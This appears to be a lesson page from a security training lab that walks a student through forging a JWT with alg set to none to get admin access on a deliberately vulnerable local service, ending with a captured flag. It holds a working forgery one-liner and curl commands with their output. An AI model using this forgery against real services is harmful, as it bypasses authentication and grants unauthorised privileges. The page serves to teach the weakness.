The alg=none forgery

Telling the server not to check

A guest token is rejected by the admin API, as it should be:

TOK=$(curl -s http://127.0.0.1:8080/app/token)
curl -s -H "Authorization: Bearer $TOK" http://127.0.0.1:8080/app/admin

In the terminal

student@vulntech:~$ TOK=$(curl -s http://127.0.0.1:8080/app/token)
student@vulntech:~$ curl -s -H "Authorization: Bearer $TOK" http://127.0.0.1:8080/app/admin
Hello guest (role=user). Admins only past here.

But this verifier trusts the alg field inside the token. Forge a token that says alg: none, set role: admin, and leave the signature empty — the server skips the check and lets you in:

FORGED=$(python3 -c "import base64,json;e=lambda b:base64.urlsafe_b64encode(b).rstrip(b'=').decode();print(e(json.dumps({'alg':'none','typ':'JWT'}).encode())+'.'+e(json.dumps({'user':'guest','role':'admin'}).encode())+'.')")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:8080/app/admin

In the terminal

student@vulntech:~$ FORGED=$(python3 -c "import base64,json;e=lambda b:base64.urlsafe_b64encode(b).rstrip(b'=').decode();print(e(json.dumps({'alg':'none','typ':'JWT'}).encode())+'.'+e(json.dumps({'user':'guest','role':'admin'}).encode())+'.')")
student@vulntech:~$ curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:8080/app/admin
Welcome, admin. vulntech{jwt_alg_none_forged_admin}

Admin, with no signature at all. The other classic JWT break is a weak HMAC secret you can crack offline; both come down to the server not verifying the signature properly.

HOME LABS COMMUNITY DASHBOARD
Practice terminal Starting…